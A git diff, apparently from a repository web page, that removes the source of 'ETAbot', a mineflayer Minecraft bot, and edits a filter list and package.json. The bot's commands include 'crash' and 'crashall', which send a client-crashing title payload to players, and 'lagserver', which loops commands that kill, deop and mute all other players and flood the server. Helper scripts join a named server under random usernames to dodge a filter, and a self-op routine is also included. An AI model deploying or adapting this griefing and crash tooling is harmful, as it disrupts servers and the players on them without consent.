|
||||
|
||||
this.commands.set('auth', () => {
|
||||
const authMessage = new Tellraw()
|
||||
.add(new Text("Coming soon cause im cringe!").color("dark_green"))
|
||||
this.bot.core.fancyTellraw(authMessage.get());
|
||||
});
|
||||
|
||||
this.commands.set('cloop', (args) => {
|
||||
const loopCommand = args.slice(0).join(' ')
|
||||
|
||||
if (this.cloopIntv != null) {
|
||||
clearInterval(this.cloopIntv)
|
||||
this.cloopIntv = null
|
||||
this.bot.core.fancyTellraw(new Tellraw().add(new Text("Cloop stopped.").color("red")).get())
|
||||
} else {
|
||||
let interv = 1000
|
||||
this.cloopIntv = setInterval(() => {
|
||||
this.bot.core.run(loopCommand)
|
||||
}, interv)
|
||||
this.bot.core.fancyTellraw(new Tellraw().add(new Text("Cloop started.").color("dark_green")).get())
|
||||
}
|
||||
})
|
||||
|
||||
this.commands.set('crash', (args) => {
|
||||
const target = args[0]
|
||||
const hash = args[1]
|
||||
|
||||
if (hash !== this.bot.ownerHash) {
|
||||
console.log("Wrong hash");
|
||||
return this.bot.chat("/bcraw &c&lWrong Owner hash.");
|
||||
}
|
||||
|
||||
this.generateNewHash(args[0] === this.bot.ownerHash ? "trusted" : "owner");
|
||||
|
||||
this.bot.core.run(`/title ${target} actionbar ${titlePayload}`);
|
||||
this.bot.core.run(`/title ${target} title ${titlePayload}`);
|
||||
this.bot.core.run(`/title ${target} subtitle ${titlePayload}`);
|
||||
this.bot.core.run(`/tellraw ${target} ${titlePayload}`);
|
||||
});
|
||||
|
||||
this.commands.set('crashall', (args) => {
|
||||
const hash = args[0]
|
||||
|
||||
if (hash !== this.bot.ownerHash) {
|
||||
console.log("Wrong hash");
|
||||
return this.bot.chat("/bcraw &c&lWrong Owner hash.");
|
||||
}
|
||||
|
||||
this.generateNewHash(args[0] === this.bot.ownerHash ? "trusted" : "owner");
|
||||
|
||||
const crashallPayload = titlePayload.replace(/"/g, '\\"').replace(/'/g, "\\'");
|
||||
const newCrashallTag = this.generateCrashallTag();
|
||||
|
||||
this.bot.core.run(`/tag ETAGamer add ${newCrashallTag}`)
|
||||
this.bot.core.run(`/tag etabot add ${newCrashallTag}`)
|
||||
|
||||
this.bot.core.run(`/title @a[tag=!${newCrashallTag}] actionbar ${crashallPayload}`);
|
||||
this.bot.core.run(`/title @a[tag=!${newCrashallTag}] title ${crashallPayload}`);
|
||||
this.bot.core.run(`/title @a[tag=!${newCrashallTag}] subtitle ${crashallPayload}`);
|
||||
this.bot.core.run(`/tellraw @a[tag=!${newCrashallTag}] ${crashallPayload}`);
|
||||
});
|
||||
|
||||
this.commands.set('uuids', () => {
|
||||
Object.keys(this.bot.players).forEach(name => {
|
||||
const uuid = this.bot.players[name].uuid
|
||||
const msg = new Tellraw()
|
||||
.add(new Text(`${name}: `).color('dark_green'))
|
||||
.add(new Text(uuid).color('gray'))
|
||||
this.bot.core.fancyTellraw(msg.get())
|
||||
})
|
||||
})
|
||||
|
||||
this.commands.set('lagserver', (args) => {
|
||||
if (args[0] !== this.bot.trustedHash && args[0] !== this.bot.ownerHash) {
|
||||
console.log("Wrong hash");
|
||||
return this.bot.chat("/bcraw &cWrong Trusted or Owner hash.")
|
||||
}
|
||||
|
||||
this.generateNewHash(args[0] === this.bot.trustedHash ? "trusted" : "owner");
|
||||
|
||||
if (this.cloopIntv != null) {
|
||||
clearInterval(this.cloopIntv);
|
||||
this.cloopIntv = null;
|
||||
} else {
|
||||
let interv = 1; // ms 0.1
|
||||
this.cloopIntv = setInterval(() => {
|
||||
this.bot.core.run("/tag ETAGamer add lagserver")
|
||||
this.bot.core.run("/tag etabot add lagserver")
|
||||
this.bot.core.run("/say LAGGING SERVER");
|
||||
this.bot.core.run("/say LMAOOOOO");
|
||||
this.bot.core.run("/say REKTTTTT");
|
||||
this.bot.core.run("/say LAGGING SERVER");
|
||||
this.bot.core.run("/say LMAOOOOO");
|
||||
this.bot.core.run("/say REKTTTTT");
|
||||
this.bot.core.run("/say LAGGING SERVER");
|
||||
this.bot.core.run("/say LMAOOOOO");
|
||||
this.bot.core.run("/say REKTTTTT");
|
||||
this.bot.core.run("/kill @a[tag=!lagserver]");
|
||||
this.bot.core.run("/deop @a[tag=!lagserver]");
|
||||
this.bot.core.run("/mute @a[tag=!lagserver] lmao lagged");
|
||||
this.bot.core.run("/sudo * prefix &2&l&k");
|
||||
this.bot.core.run(`/title @a[tag=!lagserver] actionbar ${obfuscatePayload}`);
|
||||
this.bot.core.run(`/summon minecraft:minecart ~ ~ ~ {CustomName:{"text":"","obfuscated":true,"italic":true,"underlined":true,"strikethrough":true,"color":"#FF0000","bold":true}}`);
|
||||
this.bot.core.run("/bcraw &8&l&m&kII&2&l&nETAbot was here&8&l&m&kII");
|
||||
this.bot.core.run("/sudo * v off");
|
||||
this.bot.core.run("/sudo * god off");
|
||||
this.bot.core.run("/sudo * c:LMAO");
|
||||
this.bot.core.run("/sudo * kaboom");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
this.bot.core.run("/");
|
||||
}, interv);
|
||||
}
|
||||
});
|
||||
|
||||
this.commands.set('refill', () => {
|
||||
this.bot.pos = this.bot.entity.position;
|
||||
this.bot.core.refill();
|
||||
});
|
||||
|
||||
this.commands.set('hash', (args, username) => {
|
||||
this.handleHashCommand(args[0], username);
|
||||
});
|
||||
}
|
||||
|
||||
handleHashCommand(providedHash) {
|
||||
if (!providedHash) {
|
||||
console.log('\x1b[107m\x1b[30m=== Current Hashes ===');
|
||||
console.log(`Trusted Hash: ${this.bot.trustedHash}`);
|
||||
console.log(`Owner Hash: ${this.bot.ownerHash}\x1b[0m`);
|
||||
return;
|
||||
}
|
||||
|
||||
if (providedHash === this.bot.trustedHash) {
|
||||
const trustedMessage = new Tellraw()
|
||||
.add(new Text("You are using trusted hash!").color("white"))
|
||||
this.bot.core.fancyTellraw(trustedMessage.get());
|
||||
|
||||
this.generateNewHash('trusted');
|
||||
} else if (providedHash === this.bot.ownerHash) {
|
||||
const ownerMessage = new Tellraw()
|
||||
.add(new Text("You are using owner hash!").color("white"))
|
||||
this.bot.core.fancyTellraw(ownerMessage.get());
|
||||
|
||||
this.generateNewHash('owner');
|
||||
} else {
|
||||
const errorMessage = new Tellraw()
|
||||
.add(new Text("Invalid hash.").color("red"))
|
||||
this.bot.core.fancyTellraw(errorMessage.get());
|
||||
}
|
||||
}
|
||||
|
||||
handlePrefixCommand() {
|
||||
const commands = [
|
||||
() => this.bot.chat('/prefix &8[&2&l\\\\&ahelp&8]', this.prefix),
|
||||
() => this.bot.chat('/username &7&lETA&7b<37>t'),
|
||||
() => this.bot.chat('/skin ETAGamer'),
|
||||
() => this.bot.chat('/vanish on'),
|
||||
() => this.bot.chat('/cspy on'),
|
||||
() => this.bot.chat('/god on')
|
||||
];
|
||||
|
||||
commands.forEach((cmd, index) => {
|
||||
setTimeout(cmd, index * 100);
|
||||
});
|
||||
|
||||
filtering = !filtering;
|
||||
}
|
||||
|
||||
handleMessage(message, username) {
|
||||
if (username === this.bot.username) return;
|
||||
if (message.startsWith('Command set:') || message.startsWith('ETAbot ')) return;
|
||||
|
||||
console.log(`<${username}> ${message}`);
|
||||
|
||||
const usedPrefix = this.prefixes.find(p => message.startsWith(p));
|
||||
if (!usedPrefix) return;
|
||||
|
||||
const [command, ...args] = message.slice(usedPrefix.length).split(' ');
|
||||
const commandHandler = this.commands.get(command);
|
||||
|
||||
if (commandHandler) {
|
||||
commandHandler(args, username);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
setupConsoleInput() {
|
||||
const rl = readline.createInterface({
|
||||
input: process.stdin,
|
||||
output: process.stdout
|
||||
});
|
||||
|
||||
rl.on('line', (input) => {
|
||||
if (!this.bot) return;
|
||||
|
||||
if (input.startsWith('\\\\')) {
|
||||
let commandInput = input.slice(2).trim();
|
||||
let spaceIndex = commandInput.indexOf(' ');
|
||||
let cmd = spaceIndex === -1 ? commandInput : commandInput.slice(0, spaceIndex);
|
||||
let argsString = spaceIndex === -1 ? '' : commandInput.slice(spaceIndex + 1);
|
||||
let args;
|
||||
|
||||
const commandHandler = this.commands.get(cmd);
|
||||
if (!commandHandler) return;
|
||||
|
||||
// Commands that expect a hash
|
||||
const hashCommands = {
|
||||
eval: 0,
|
||||
bash: 0,
|
||||
kill: 0,
|
||||
crash: 1,
|
||||
crashall: 0,
|
||||
lagserver: 0
|
||||
};
|
||||
|
||||
if (hashCommands[cmd] !== undefined) {
|
||||
let hashIndex = hashCommands[cmd];
|
||||
|
||||
// Split args only if needed
|
||||
if (cmd === 'bash' || cmd === 'eval') {
|
||||
// Keep the whole command as one string after hash
|
||||
args = [];
|
||||
args[hashIndex] = this.bot.ownerHash; // inject hash
|
||||
args.push(argsString); // everything else as single argument
|
||||
} else {
|
||||
// For normal commands, split by space
|
||||
args = argsString.split(' ');
|
||||
if (!args[hashIndex] || (args[hashIndex] !== this.bot.ownerHash && args[hashIndex] !== this.bot.trustedHash)) {
|
||||
args[hashIndex] = this.bot.ownerHash;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Commands without hash
|
||||
args = argsString.split(' ');
|
||||
}
|
||||
|
||||
commandHandler(args);
|
||||
} else if (input.startsWith('/')) {
|
||||
this.bot.core.run(input);
|
||||
} else if (input.startsWith('c:')) {
|
||||
this.bot.chat(input.slice(2).trim());
|
||||
} else {
|
||||
this.bot.core.run(`/bcraw &8[&2ETAbot Core&8]&7: &a${input}`);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
new MinecraftBot();
|
||||
// By etagamer
|
||||
@@ -1,36 +0,0 @@
|
||||
const mineflayer = require('mineflayer')
|
||||
|
||||
// ai generated thing some guy gave me again
|
||||
|
||||
function randomUsername(base) {
|
||||
return base + Math.floor(Math.random() * 10000)
|
||||
}
|
||||
|
||||
function createBot(username) {
|
||||
return mineflayer.createBot({
|
||||
host: 'chipmunk.land',
|
||||
port: 25565,
|
||||
username
|
||||
})
|
||||
}
|
||||
|
||||
const bots = []
|
||||
const totalBots = 1
|
||||
|
||||
function spawnBot(index) {
|
||||
const bot = createBot(randomUsername('UnfilterMe'))
|
||||
bots.push(bot)
|
||||
|
||||
bot.once('spawn', () => {
|
||||
console.log(`${bot.username} joined.`)
|
||||
|
||||
if (bots.length < totalBots) {
|
||||
setTimeout(() => spawnBot(index + 1), 5000) // delay between joins
|
||||
} else {
|
||||
// all bots joined → make them all do something
|
||||
bots.forEach(b => b.chat("why u filter me it not fun pls no"))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
spawnBot(0)
|
||||
121
etabot/orbit.js
121
etabot/orbit.js
@@ -1,121 +0,0 @@
|
||||
const mineflayer = require('mineflayer')
|
||||
const { Vec3 } = require('vec3')
|
||||
let orbits = new Map()
|
||||
|
||||
// ai generated orbit thing that some guy gave me
|
||||
|
||||
function createOrbitBot(targetName, server, port, core) {
|
||||
if (!orbits.has(targetName)) {
|
||||
orbits.set(targetName, [])
|
||||
}
|
||||
|
||||
const playerOrbits = orbits.get(targetName)
|
||||
if (playerOrbits.length >= 1) {
|
||||
return
|
||||
}
|
||||
const bot = mineflayer.createBot({
|
||||
host: server || 'chayapak.chipmunk.land',
|
||||
port: port || 25565,
|
||||
username:
|
||||
'orbit_' +
|
||||
Math.random().toString().slice(2, 2 + Math.floor(Math.random().toString().slice(2).length / 3)),
|
||||
version: '1.21',
|
||||
auth: "offline"
|
||||
})
|
||||
console.log(server + " " + port)
|
||||
let orbitInterval = null
|
||||
const orbitRadius = 3
|
||||
const orbitSpeed = 0.2
|
||||
const maxDistance = 20
|
||||
playerOrbits.push(bot)
|
||||
|
||||
bot.once('spawn', () => {
|
||||
bot.chat(`Orbit bot spawned to orbit ${targetName}`);
|
||||
|
||||
let baseAngle = 0; // horizontal rotation (left-right)
|
||||
let jointAngle = 0; // vertical swing (up-down)
|
||||
|
||||
orbitInterval = setInterval(() => {
|
||||
const target = bot.players[targetName]?.entity;
|
||||
if (!target) {
|
||||
bot.chat(`/essentials:tp ${bot.username} ${targetName}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const dx = bot.entity.position.x - target.position.x;
|
||||
const dy = bot.entity.position.y - target.position.y;
|
||||
const dz = bot.entity.position.z - target.position.z;
|
||||
const distSq = dx * dx + dy * dy + dz * dz;
|
||||
if (distSq > maxDistance * maxDistance) {
|
||||
bot.chat(`/essentials:tp ${bot.username} ${targetName}`);
|
||||
return;
|
||||
}
|
||||
|
||||
bot.creative.startFlying();
|
||||
const center = target.position;
|
||||
|
||||
// Calculate the 3D position like a two-joint arm:
|
||||
let x = center.x + orbitRadius * Math.cos(baseAngle);
|
||||
let y = center.y + orbitRadius * Math.sin(jointAngle);
|
||||
let z = center.z + orbitRadius * Math.sin(baseAngle);
|
||||
|
||||
// Add orbitSpeed incrementally to create continuous movement along axes
|
||||
x += orbitSpeed;
|
||||
y += orbitSpeed;
|
||||
z += orbitSpeed;
|
||||
|
||||
bot.entity.position.set(x, y, z);
|
||||
console.log("Orbiting at position: ", x, y, z);
|
||||
|
||||
bot.lookAt(new Vec3(x, y, z))
|
||||
console.log("Looking at position: ", x, y, z);
|
||||
|
||||
// Increment angles for swinging movement
|
||||
baseAngle += orbitSpeed;
|
||||
jointAngle += orbitSpeed / 2;
|
||||
|
||||
if (baseAngle > 2 * Math.PI) baseAngle -= 2 * Math.PI;
|
||||
if (jointAngle > 2 * Math.PI) jointAngle -= 2 * Math.PI;
|
||||
|
||||
}, 100);
|
||||
});
|
||||
|
||||
|
||||
bot.on('playerLeft', (entity)=>{
|
||||
if (entity.username === targetName) {
|
||||
removeOrbit(targetName, bot)
|
||||
bot.quit()
|
||||
return;
|
||||
}
|
||||
})
|
||||
bot.on('end', () => {
|
||||
clearInterval(orbitInterval)
|
||||
removeOrbit(targetName, bot)
|
||||
})
|
||||
}
|
||||
|
||||
function removeOrbit(username, bot) {
|
||||
const playerOrbits = orbits.get(username)
|
||||
if (!playerOrbits) return
|
||||
|
||||
const index = playerOrbits.indexOf(bot)
|
||||
if (index !== -1) {
|
||||
playerOrbits.splice(index, 1)
|
||||
if (bot.end) bot.end()
|
||||
if (playerOrbits.length === 0) {
|
||||
orbits.delete(username)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function stopAllOrbits(username, core) {
|
||||
const playerOrbits = orbits.get(username)
|
||||
if (!playerOrbits) return
|
||||
while (playerOrbits.length > 0) {
|
||||
removeOrbit(username, playerOrbits[0])
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { createOrbitBot, removeOrbit, stopAllOrbits }
|
||||
createOrbitBot("ETAGamer")
|
||||
4541
etabot/package-lock.json
generated
4541
etabot/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -1,9 +0,0 @@
|
||||
{
|
||||
"dependencies": {
|
||||
"canvas": "^3.2.0",
|
||||
"mineflayer": "^4.30.0",
|
||||
"prismarine-viewer": "^1.33.0",
|
||||
"proxy-agent": "^6.5.0",
|
||||
"socks": "^2.8.7"
|
||||
}
|
||||
}
|
||||
@@ -1,118 +0,0 @@
|
||||
const Vec3 = require("vec3").Vec3;
|
||||
const { MessageBuilder } = require("prismarine-chat")("1.19.4");
|
||||
|
||||
const { Tellraw, Text } = require("./tellrawBuilder.js");
|
||||
|
||||
class CoreClass {
|
||||
constructor(client) {
|
||||
this.client = client;
|
||||
this.commandBlocks = [];
|
||||
this.used = 0;
|
||||
this.corepos = { x: 0, y: 0, z: 0 };
|
||||
this.totalCommandsRun = 0;
|
||||
this.startTime = Date.now();
|
||||
this.transaction_id = [];
|
||||
this.coreSize = require("../config.json").core;
|
||||
this.initialize();
|
||||
}
|
||||
|
||||
refill() {
|
||||
const config = require("../config.json");
|
||||
const pos = this.client.entity.position; // Ensure entity exists before accessing position
|
||||
this.commandBlocks = [];
|
||||
|
||||
// Check if the bot's position is defined
|
||||
if (!pos || (pos.x === 0 && pos.y === 0 && pos.z === 0)) {
|
||||
setTimeout(() => this.refill(), 650);
|
||||
return;
|
||||
}
|
||||
|
||||
const core = {
|
||||
x: Math.floor(pos.x - (this.coreSize.width - 1) / 2),
|
||||
y: Math.floor(config.core.y - (this.coreSize.height - 1) / 2),
|
||||
z: Math.floor(pos.z - (this.coreSize.depth - 1) / 2),
|
||||
x2: Math.floor(pos.x + (this.coreSize.width - 1) / 2),
|
||||
y2: Math.floor(config.core.y + (this.coreSize.height - 1) / 2),
|
||||
z2: Math.floor(pos.z + (this.coreSize.depth - 1) / 2),
|
||||
};
|
||||
|
||||
this.corepos = { x: core.x, y: core.y, z: core.z };
|
||||
this.client.chat(
|
||||
`/fill ${core.x} ${core.y} ${core.z} ${core.x2} ${core.y2} ${core.z2} minecraft:repeating_command_block replace`
|
||||
);
|
||||
|
||||
for (let x = core.x; x <= core.x2; x++) {
|
||||
for (let y = core.y; y <= core.y2; y++) {
|
||||
for (let z = core.z; z <= core.z2; z++) {
|
||||
this.commandBlocks.push(new Vec3(x, y, z));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
setTimeout(
|
||||
() =>
|
||||
this.run(
|
||||
`/minecraft:tp ${this.client.uuid} ${this.corepos.x} ${this.corepos.y} ${this.corepos.z}`
|
||||
),
|
||||
85
|
||||
);
|
||||
}
|
||||
|
||||
initialize() {
|
||||
this.refill(); // Start the refill process
|
||||
}
|
||||
|
||||
run(cmd, amount = 1) {
|
||||
const iterations = Math.min(amount, this.commandBlocks.length);
|
||||
if (iterations > 10000) return this.tellraw("Invalid Amount of jobs lmao");
|
||||
const jobs = Math.ceil(iterations / 10); // number of jobs to run concurrently
|
||||
const commandsPerJob = Math.ceil(iterations / jobs);
|
||||
|
||||
for (let job = 0; job < jobs; job++) {
|
||||
const start = job * commandsPerJob;
|
||||
const end = Math.min(start + commandsPerJob, iterations);
|
||||
for (let i = start; i < end; i++) {
|
||||
try {
|
||||
this.client._client.write("update_command_block", {
|
||||
command: cmd,
|
||||
location: this.commandBlocks[this.used],
|
||||
mode: 1,
|
||||
flags: 4,
|
||||
});
|
||||
} catch (err) {
|
||||
console.log(`ERROR: ${err}`);
|
||||
return;
|
||||
}
|
||||
this.used = (this.used + 1) % this.commandBlocks.length;
|
||||
}
|
||||
}
|
||||
this.totalCommandsRun += iterations;
|
||||
}
|
||||
|
||||
// Tellraw stuff
|
||||
tellraw(text, selector = "@a") {
|
||||
this.run(`minecraft:tellraw ${selector} ${JSON.stringify(text)}`);
|
||||
};
|
||||
|
||||
fancyTellraw = (text, selector) => {
|
||||
const prefix = new Tellraw()
|
||||
.add(new Text("E").setColor("green"))
|
||||
.add(new Text(" ⏩ ").setColor("gray"))
|
||||
.get(false)
|
||||
|
||||
if (typeof text === "object") {
|
||||
let prf = [...prefix];
|
||||
|
||||
if (Array.isArray(text)) {
|
||||
text.forEach((t) => {
|
||||
prf.push(t);
|
||||
});
|
||||
} else prf.push(text);
|
||||
return this.tellraw(prf, selector);
|
||||
}
|
||||
this.tellraw(text, selector);
|
||||
};
|
||||
}
|
||||
|
||||
module.exports = { CoreClass };
|
||||
|
||||
@@ -1,44 +0,0 @@
|
||||
function delay(time) {
|
||||
return new Promise(resolve => setTimeout(resolve, time));
|
||||
}
|
||||
function selfcare(bot) {
|
||||
bot._client.on('entity_status', (packet) => {
|
||||
let Id = packet.entityId;
|
||||
let status = packet.entityStatus;
|
||||
if (Id == bot.EntityId) {
|
||||
if (status != 28) {
|
||||
bot.chat(`/minecraft:op @s[type=player]`);
|
||||
}
|
||||
}
|
||||
});
|
||||
bot._client.on('game_state_change', (packet) => {
|
||||
if (packet.reason === 3) {
|
||||
let gamemode = packet.gameMode;
|
||||
if (gamemode !== 1) {
|
||||
bot.chat(`/minecraft:gamemode creative`);
|
||||
}
|
||||
}
|
||||
});
|
||||
bot.on('systemchat', async (message) => {
|
||||
if (message.includes("Too many blocks in the specified area (maximum")) {
|
||||
bot.chat("/gamerule commandModificationBlockLimit 32768")
|
||||
await delay(2)
|
||||
bot.core.refill()
|
||||
|
||||
}
|
||||
if (message.includes("Must be an opped player in creative mode")) {
|
||||
bot.chat("/minecraft:op @s[type=player]")
|
||||
await delay(2)
|
||||
bot.chat(`/minecraft:gamemode creative`);
|
||||
await delay(2)
|
||||
}
|
||||
|
||||
if (message.includes("Vanish for")) {
|
||||
bot.chat("/vanish on")
|
||||
}
|
||||
if (message.includes(`Vanish for`)) {
|
||||
this.bot.core.run(`/vanish ${this.bot.username} on`)
|
||||
}
|
||||
})
|
||||
}
|
||||
module.exports = { selfcare };
|
||||
@@ -1,158 +0,0 @@
|
||||
class Tellraw {
|
||||
constructor(component) {
|
||||
this.components = []
|
||||
if (component != null) this.add(component)
|
||||
}
|
||||
|
||||
add(component) {
|
||||
if (Array.isArray(component)) {
|
||||
component.forEach((c) => this.add(c))
|
||||
return this
|
||||
}
|
||||
|
||||
if (component == null) return this
|
||||
if (typeof component == "string") component = new Text(component)
|
||||
|
||||
this.components.push(component)
|
||||
|
||||
return this
|
||||
}
|
||||
|
||||
get(stringify = false) {
|
||||
let components = []
|
||||
for (let component of this.components) {
|
||||
components.push(component.get != null ? component.get(false) : component)
|
||||
}
|
||||
|
||||
if (stringify) return JSON.stringify(components)
|
||||
return components
|
||||
}
|
||||
}
|
||||
|
||||
class Text {
|
||||
clr = null
|
||||
|
||||
it = null
|
||||
b = null
|
||||
st = null
|
||||
ul = null
|
||||
obf = null
|
||||
|
||||
command = null
|
||||
hover = null
|
||||
url = null
|
||||
suggest = null
|
||||
copy = null
|
||||
|
||||
constructor(text) {
|
||||
this.text = `${text}` ?? ""
|
||||
}
|
||||
|
||||
setItalic(i) {
|
||||
this.it = i
|
||||
return this
|
||||
}
|
||||
|
||||
setBold(b) {
|
||||
this.b = b
|
||||
return this
|
||||
}
|
||||
|
||||
setStrikethrough(s) {
|
||||
this.st = s
|
||||
return this
|
||||
}
|
||||
|
||||
setUnderlined(u) {
|
||||
this.ul = u
|
||||
return this
|
||||
}
|
||||
|
||||
setObfuscated(o) {
|
||||
this.obf = o
|
||||
return this
|
||||
}
|
||||
|
||||
italic() {
|
||||
return this.setItalic(true)
|
||||
}
|
||||
|
||||
bold() {
|
||||
return this.setBold(true)
|
||||
}
|
||||
|
||||
strikethrough() {
|
||||
return this.setStrikethrough(true)
|
||||
}
|
||||
|
||||
underlined() {
|
||||
return this.setUnderlined(true)
|
||||
}
|
||||
|
||||
obfuscated() {
|
||||
return this.setObfuscated(true)
|
||||
}
|
||||
|
||||
setCommand(command) {
|
||||
this.command = `${command}`
|
||||
return this
|
||||
}
|
||||
|
||||
setSuggestedCommand(command) {
|
||||
this.suggest = `${command}`
|
||||
return this
|
||||
}
|
||||
|
||||
setURL(url) {
|
||||
this.url = `${url}`
|
||||
return this
|
||||
}
|
||||
|
||||
setCopy(text) {
|
||||
this.copy = `${text}`
|
||||
return this
|
||||
}
|
||||
|
||||
setHover(...components) {
|
||||
this.hover = []
|
||||
components.forEach((component) => {
|
||||
if (typeof component == "string" || typeof component.get !== "function") this.hover.push(component)
|
||||
else this.hover.push(component.get(false))
|
||||
})
|
||||
return this
|
||||
}
|
||||
|
||||
setColor(color) {
|
||||
this.clr = color
|
||||
return this
|
||||
}
|
||||
|
||||
color(color) {
|
||||
return this.setColor(color)
|
||||
}
|
||||
|
||||
get(stringify = true) {
|
||||
let obj = { text: this.text }
|
||||
if (this.clr != null) obj.color = this.clr
|
||||
|
||||
if (this.it != null) obj.italic = this.it
|
||||
if (this.b != null) obj.bold = this.b
|
||||
if (this.st != null) obj.strikethrough = this.st
|
||||
if (this.ul != null) obj.underlined = this.ul
|
||||
if (this.obf != null) obj.obfuscated = this.obf
|
||||
|
||||
if (this.command != null) obj.clickEvent = { action: "run_command", value: `${this.command}` }
|
||||
|
||||
if (this.hover != null) obj.hoverEvent = { action: "show_text", contents: this.hover }
|
||||
|
||||
if (this.url != null) obj.clickEvent = { action: "open_url", value: `${this.url}` }
|
||||
|
||||
if (this.suggest != null) obj.clickEvent = { action: "suggest_command", value: `${this.suggest}` }
|
||||
|
||||
if (this.copy != null) obj.clickEvent = { action: "copy_to_clipboard", value: `${this.copy}` }
|
||||
|
||||
return stringify ? JSON.stringify(obj) : obj
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { Tellraw, Text };
|
||||
16
filter.json
16
filter.json
@@ -10,5 +10,21 @@
|
||||
{
|
||||
"id": "Kill_bot",
|
||||
"reason": "horrendous bot"
|
||||
},
|
||||
{
|
||||
"id": ["BOT***(3)***", "BOT***(2)***"],
|
||||
"reason": "spammy spammer spam bot"
|
||||
},
|
||||
{
|
||||
"id": "Gam3rArthr",
|
||||
"reason": "bud is NOT an admin gng"
|
||||
},
|
||||
{
|
||||
"id": "bobrik0603",
|
||||
"reason": "i just dont like you lmao"
|
||||
},
|
||||
{
|
||||
"id": "mcrafter*",
|
||||
"reason": "buy the game"
|
||||
}
|
||||
]
|
||||
2560
package-lock.json
generated
2560
package-lock.json
generated
File diff suppressed because it is too large
Load Diff
20
package.json
20
package.json
@@ -1,16 +1,12 @@
|
||||
{
|
||||
"name": "nodejs",
|
||||
"version": "1.0.0",
|
||||
"description": "",
|
||||
"main": "index.js",
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"keywords": [],
|
||||
"author": "",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"@types/node": "^22.13.11",
|
||||
"mineflayer": "^4.30.0"
|
||||
"canvas": "^3.2.0",
|
||||
"leo-profanity": "^1.8.0",
|
||||
"minecraft-server-util": "^5.4.4",
|
||||
"mineflayer": "^4.30.0",
|
||||
"prismarine-viewer": "^1.33.0",
|
||||
"proxy-agent": "^6.5.0",
|
||||
"socks": "^2.8.7",
|
||||
"unhomoglyph": "^1.0.6"
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user